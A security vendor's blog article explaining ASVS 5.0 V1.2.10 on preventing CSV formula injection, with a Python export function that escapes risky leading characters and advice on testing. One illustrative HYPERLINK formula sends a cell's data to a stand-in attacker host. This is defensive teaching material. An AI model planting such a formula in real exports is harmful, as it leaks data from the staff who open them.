Safeguard
Application Security•

ASVS 5.0 V1.2.10: Defend Against CSV Formula Injection

ASVS V1.2.10 requires escaping CSV fields per RFC 4180 and neutralizing leading formula characters. See an export function and how to test spreadsheets.

Safeguard Security Team
3 min read

ASVS 5.0 V1.2.10 (Level 3) requires that CSV and spreadsheet exports follow the RFC 4180 quoting rules and that any field starting with =, +, -, @, a tab or a null character is escaped with a single quote, so Excel and similar tools treat it as text and not as a formula (CWE-1236).

Why it matters

If a customer name is stored as =HYPERLINK("https://evil.example/?d="&A2,"Click"), then an admin who exports and opens the file runs that formula. Attackers use it to exfiltrate neighboring cells or to trick staff into running commands. The malicious text is entered by one user and executed by another, which is why it is easy to miss.

How to implement it

Do two separate jobs: CSV quoting and formula neutralization.

import csv, io

DANGEROUS = ("=", "+", "-", "@", "\t", "\r", "\0")

def safe_cell(value) -> str:
    s = "" if value is None else str(value)
    if s.startswith(DANGEROUS):
        s = "'" + s
    return s

def export_rows(rows):
    out = io.StringIO()
    w = csv.writer(out, quoting=csv.QUOTE_ALL, lineterminator="\r\n")
    for row in rows:
        w.writerow([safe_cell(c) for c in row])
    return out.getvalue()

The csv module handles RFC 4180 rules: fields with commas, quotes or line breaks are enclosed in double quotes, and inner quotes are doubled. Apply safe_cell only to text columns. Do not prefix real numbers you generated yourself, or negative values will turn into text. For XLSX writers, set the cell type to string explicitly.

How to test it

Create a record whose name is =1+1, another with @SUM(1+1) and one starting with a tab. Export, open in a spreadsheet and confirm the cells show the literal text, not 2. Also test a value containing a comma, a quote and a newline, and confirm it round trips through a CSV parser.

Common mistakes

  • Escaping on input rather than at export time.
  • Handling = but forgetting +, -, @ and the tab.
  • Stripping the characters, which corrupts legitimate data such as phone numbers.

Where this goes wrong in practice

The attack needs three things: a field users can edit, an export that staff run, and a spreadsheet program that evaluates formulas. Ticketing tools, CRM exports, audit log downloads and billing reports all fit. The person who enters the text is rarely the person who opens the file, so the harm travels across a trust boundary without anyone noticing.

Keep the escaping in one export module that every report calls. Teams that sprinkle the fix across individual report functions miss new reports within a few sprints. Add a unit test over the module with the dangerous leading characters, and add a review check so new exports use it. Also write the file with a text MIME type and a .csv name, and tell staff in the UI that exported data comes from users. Finally, be aware that values beginning with a minus sign include real negative numbers, so apply the prefix to free text columns only.

Quick check

Why add a single quote?

Spreadsheet programs treat a leading quote as a marker for text, so the rest of the cell is not evaluated.

Sources

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.

Self-healing security runs on Safeguard.

Your first fix PR is minutes away.

No sales call required, even your agent can complete the purchase over MCP.